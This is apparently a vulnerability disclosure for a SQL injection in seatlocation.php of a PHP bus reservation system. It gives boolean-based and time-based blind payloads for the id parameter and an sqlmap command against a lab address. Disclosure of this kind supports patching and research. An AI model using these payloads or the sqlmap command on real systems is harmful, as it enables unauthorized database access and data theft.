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https://code-projects.org/online-bus-reservation-system-in-php-with-source-code/

seatlocation.php

A SQL injection vulnerability was found in the Online Bus Reservation System project of code-
projects. The reason is that the id parameter is not filtered in seatlocation.php, which allows
malicious SQL statements to be spliced and cause vulnerabilities.

The id parameter is not filtered and is directly concatenated into the SQL statement.
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payload

1,id=1' AND 5437=5437 AND 'DKue'='DKue
2,id=1' AND (SELECT 2317 FROM (SELECT(SLEEP(5)))VxxP) AND 'ZNmk'='ZNmk

Sqlmap

 python3 sqlmap.py -u "http://10.211.55.4:8077/seatlocation.php?id=1" --batch

https://github.com/zzZxby/Vulnerability-Exploration/blob/main/Online%20Bus%20Reservation%20System/Online_Bus_Reservation_System2.assets/QQ_1745150725917.png
https://github.com/zzZxby/Vulnerability-Exploration/blob/main/Online%20Bus%20Reservation%20System/Online_Bus_Reservation_System2.assets/QQ_1745150725917.png


https://github.com/zzZxby/Vulnerability-Exploration/blob/main/Online%20Bus%20Reservation%20System/Online_Bus_Reservation_System2.assets/QQ_1745150885099.png
https://github.com/zzZxby/Vulnerability-Exploration/blob/main/Online%20Bus%20Reservation%20System/Online_Bus_Reservation_System2.assets/QQ_1745150885099.png

